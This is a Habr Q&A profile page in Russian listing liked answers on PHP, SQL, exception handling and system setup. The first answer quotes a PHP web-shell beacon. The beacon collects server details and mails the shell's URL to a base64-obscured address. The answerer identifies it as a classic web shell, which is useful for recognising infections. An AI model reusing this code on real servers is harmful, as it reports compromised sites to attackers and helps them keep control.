Все сервисы Хабра

Сообщество IT-специалистов

Ответы на любые вопросы об IT

Профессиональное развитие в IT

Удаленная работа для IT-специалистов

Облака: ожидание vs реальность
Войти на сайт
  • Все вопросы
  • Все теги
  • Пользователи

Хабр Q&A — вопросы и ответы для IT-специалистов

Получайте ответы на вопросы по любой теме из области IT от специалистов в этой теме.

Узнать больше
другие проекты хабра
  • Хабр
  • Карьера
  • Фриланс
Задать вопрос

QNA-1976

  • 4
    вклад
  • 29
    вопросов
  • 4
    ответа
  • 100%
    решений
Лайки
  • Информация
  • Ответы
  • Вопросы
  • Комментарии
  • Подписки
  • Нравится
  • Достижения
  • Что это за вирус, на что он направлен?

    DevMan
    DevMan @DevMan Куратор тега PHP
    $web = $_SERVER["HTTP_HOST"];
    $path = $_SERVER["REQUEST_URI"];
    $ip = $_SERVER["REMOTE_ADDR"];
    $contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
    $body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
    mail("$contact","Result Shell in [http://$web]", "$body");
    классический шел. как минимум.
    Ответ написан более года назад
    Комментировать
    Нравится 1 Комментировать
  • Почему при использовании WHERE в запросе выдает ошибку?

    BojackHorseman
    Лентюй @BojackHorseman Куратор тега SQL
    ...в творческом отпуске...
    `1` // столбец с названием 1
    '1' // строка, содержащая один символ - единицу
    1 // целое число, единица
    Ответ написан более года назад
    2 комментария
    Нравится 5 2 комментария
  • Можно ли работать одновременно с windows и ubuntu?

    Stalker_RED
    Stalker_RED @Stalker_RED
    WSL, не? https://docs.microsoft.com/en-us/windows/wsl/insta...

    Или отдельная виртуальная машина.
    Ответ написан более года назад
    2 комментария
    Нравится 5 2 комментария
  • Почему продолжилось нормальное выполнение после выброса исключения?

    JRK_DV
    ⓒⓢⓢ @JRK_DV
    Рецепты https://codepen.io/jrkdv/full/LKLXdq
    можно так интерполировать:

    когда Есть исключение в блоке try - то выполнение продолжиться В ближайшем блоке catch.
    строки идущие после ошибки, в блоке try, не выполнятся

    когда Нет исключения в блоке try - то выполнение продолжиться За последним блоком catch выполнятся все инструкции в блоке try и выполнение продолжиться за блоком catch

    вне зависимости было или нет исключение, выполнение продолжиться после конструкции try...catch
    Ответ написан более года назад
    11 комментариев
    Нравится 2 11 комментариев
  • Как убрать перенаправления в файле .htaccess которые мешают ajax?

    Stalker_RED
    Stalker_RED @Stalker_RED
    У вас сейчас сервер настроен на единую точку входа - index.php. Но похоже, что вы не умеете этим пользоваться.

    Убрать не сложно: просто удалите вот эти строки с rewrite***.
    Хотя круче было бы научиться с этим работать, потому что это уже много лет назад стало чуть ли не стандартом разработки.
    Ответ написан более года назад
    2 комментария
    Нравится 2 2 комментария
  • Почему update join ругается на limit, select join - нет?

    BojackHorseman
    Лентюй @BojackHorseman Куратор тега MySQL
    ...в творческом отпуске...
    For multiple-table syntax, ORDER BY and LIMIT cannot be used.
    Ответ написан более года назад
    3 комментария
    Нравится 1 3 комментария
  • Почему update join ругается на limit, select join - нет?

    isset89
    netyshka @isset89
    Врёшь, тебе нравится
    "For the multiple-table syntax, UPDATE updates rows in each table named in table_references that satisfy the conditions. In this case, ORDER BY and LIMIT cannot be used." - это конкретно ответ на твой вопрос.
    Если надо кровь из носа сделать limit , то запрос должен выглядеть примерно так:
    UPDATE table1 t JOIN
    (
    SELECT p.value1, p.value2
    FROM table1 p JOIN table2 m
    ON p.id= m.id
    ORDER BY p.id
    LIMIT 100
    ) s
    ON t.id = s.id
    SET t.value = s.value;
    Ответ написан более года назад
    2 комментария
    Нравится 1 2 комментария
  • Как понять такое описание?

    McBernar @McBernar
    Это значит, что throw должно кидаться из вложенного уровня.

    В try идет, например, вызов функции, которая может выкинуть эксепшен. В catch этот эксепшен ловится. Эксепшены поднимаются наверх.

    В вашем случае throw кидается непосредственно из try, что теряет всякий смысл. Это имеет смысл только в том случае, если этот блок try-catch сам находится в функции и хочет пробросить ошибку на уровень выше, но тогда здесь не нужен catch.
    Ответ написан более года назад
    12 комментариев
    Нравится 2 12 комментариев
  • Как понять такое описание?

    DevMan
    DevMan @DevMan Куратор тега PHP
    исключения не выбрасываются просто так, они выбрасываются при каких–то условиях.
    try {
    	if(! file_exists($file)) {
    		throw new Exception('file not exist');
    	}
    } catch (Exception $e) {
    	echo $e->getMessage();
      exit;
    }
    не имеет смысла, поскольку спокойно сокращается до
    if(! file_exists($file)) {
    	exit('file not exist');
    }
    Ответ написан более года назад
    7 комментариев
    Нравится 2 7 комментариев
  • Где можно найти нормальную реализацию контроля авторизованного?

    SilenceOfWinter
    Антон Шаманов @SilenceOfWinter
    та еще зажигалка...
    Конкретные реализации RBAC, ACL, которые ты ищешь, привязаны к архитектуре приложений/фреймворков т.ч. придется писать самому по большей части.
    Ответ написан более года назад
    18 комментариев
    Нравится 1 18 комментариев
  • Формат даты в php?

    mosesfender
    Moses Fender @mosesfender
    Меланхолик, параноик, падал с коек
    13 месяца в году нет.
    Ответ написан более года назад
    3 комментария
    Нравится 2 3 комментария
  • Насколько надёжен такой способ контроля?

    FanatPHP
    FanatPHP @FanatPHP
    Чебуратор тега PHP
    А какая проблема с запросом? Код начинает что ли адски тормозить, когда игрок получает новый уровень?
    Нет, не начинает? Ничего не трогай.
    Ответ написан более года назад
    Комментировать
    Нравится 3 Комментировать
  • Как работает контроль авторизованного?

    SilenceOfWinter
    Антон Шаманов @SilenceOfWinter
    та еще зажигалка...
    в данном коде - нигде
    Ответ написан более года назад
    Комментировать
    Нравится 1 Комментировать
  • Что это за изысканное подключение?

    DevMan
    DevMan @DevMan Куратор тега PHP
    затем, что корневой каталог имеет свойство меняться.
    да и dirname(__FILE__) прекрасно заменяется на __DIR__
    Ответ написан более года назад
    12 комментариев
    Нравится 6 12 комментариев
  • Как читается такой синтаксис?

    Tomio
    Максим @Tomio
    backend developer (python, php)
    Это значит, что данный метод может вернуть либо array, либо NULL - https://www.php.net/manual/ru/migration71.new-feat...
    Ответ написан более года назад
    14 комментариев
    Нравится 2 14 комментариев
  • Как читается такой синтаксис?

    Vlatqa
    Владислав Лысков @Vlatqa
    создаём публичный метод, который принимает параметры: строку $sql, массив $params, строку $classname, которая, если не задана = 'stdClass' и возвращает массив либо null (знак вопроса)
    Ответ написан более года назад
    4 комментария
    Нравится 1 4 комментария
  • Как читается такой синтаксис?

    muxui
    #ямыnginx @muxui
    ): - значит грусть (grust').
    ?array - значит, что может вернется массив (array), а может и не вернется совсем, но в предпочтении все же чтобы вернулся.
    В итоге имеем: грустный php не знает, что именно вернуть, и ему от этого грустно :(
    Ответ написан более года назад
    Комментировать
    Нравится 3 Комментировать
  • Какое окружение рабочего стола подобрать под ноутбук?

    firedragon
    Владимир Коротенко @firedragon
    Senior .NET developer
    Ставьте 10 windows под ваш ноутбук вы получите отсутствие проблем с дровами, нормальный сон, тот же набор программ, отсутствие проблем конвертации разных офисных форматов.
    Ответ написан более года назад
    10 комментариев
    Нравится 9 10 комментариев
  • Как обратиться к элементу json в php?

    Compolomus
    Дмитрий @Compolomus Куратор тега PHP
    Комполом-быдлокодер
    https://www.php.net/manual/ru/function.json-decode.php
    $balance = json_decode($json, true);
    echo $balance['result']['balance'];
    Ответ написан более года назад
    Комментировать
    Нравится 6 Комментировать
  • Как из html-кода вырезать php-вставки, включая сами теги?

    dollar
    dollar @dollar
    На чёткий вопрос - чёткий ответ.
    Так:
    '#<\?[\s\S]*?\?>#'

    Ещё можно так:
    '#<\?.*?\?>#s'
    Ответ написан более года назад
    1 комментарий
    Нравится 1 1 комментарий
Оценили как «Нравится»
  • 1
  • 2
  • 3
  • Следующие →
Самые активные сегодня
  • rPman
    • 13 ответов
    • 0 вопросов
  • Dr. Bacon
    • 10 ответов
    • 0 вопросов
  • dimonchik2013
    dimonchik2013
    • 7 ответов
    • 0 вопросов
  • Василий Банников
    • 6 ответов
    • 0 вопросов
  • yarkov
    Алексей Ярков
    • 6 ответов
    • 0 вопросов
  • Born2Lose
    Валерий
    • 6 ответов
    • 0 вопросов
  • © Habr
  • О сервисе
  • Обратная связь
  • Блог

Войдите на сайт

Чтобы задать вопрос и получить на него квалифицированный ответ.
Войти через центр авторизации